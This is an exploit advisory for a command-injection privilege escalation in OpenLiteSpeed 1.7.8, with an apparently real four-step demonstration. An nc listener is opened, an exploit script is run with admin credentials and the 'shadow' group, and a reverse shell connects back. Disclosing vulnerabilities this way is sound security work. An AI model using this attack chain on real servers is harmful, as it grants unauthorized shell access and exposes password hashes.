Description:
The "path" parameter has command injection vulnerability that leads to escalate privilege.
OpenLiteSpeed (1.7.8) web server runs with user(nobody):group(nogroup) privilege. However, extUser and
extGroup parameters could be used to join a group (GID) such as shadow, sudo, etc.
Details: https://github.com/litespeedtech/openlitespeed/issues/217
Example:
Step-1:
ubuntu@ubuntu:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
Step-2:
ubuntu@ubuntu:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Step-3:
ubuntu@ubuntu:~/Desktop/exploits$ python3 openlitespeed.py 192.168.1.116:7080 admin MWE1ZmE2 shadow
[+] Authentication was successful!
[+] Version is detected: OpenLiteSpeed 1.7.8
[+] The target is vulnerable!
[+] tk value is obtained: 0.98296300 1612966522
[+] Sending reverse shell to 127.0.0.1:4444 ...
[+] Triggering command execution...
Step-4:
ubuntu@ubuntu:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 54534 received!
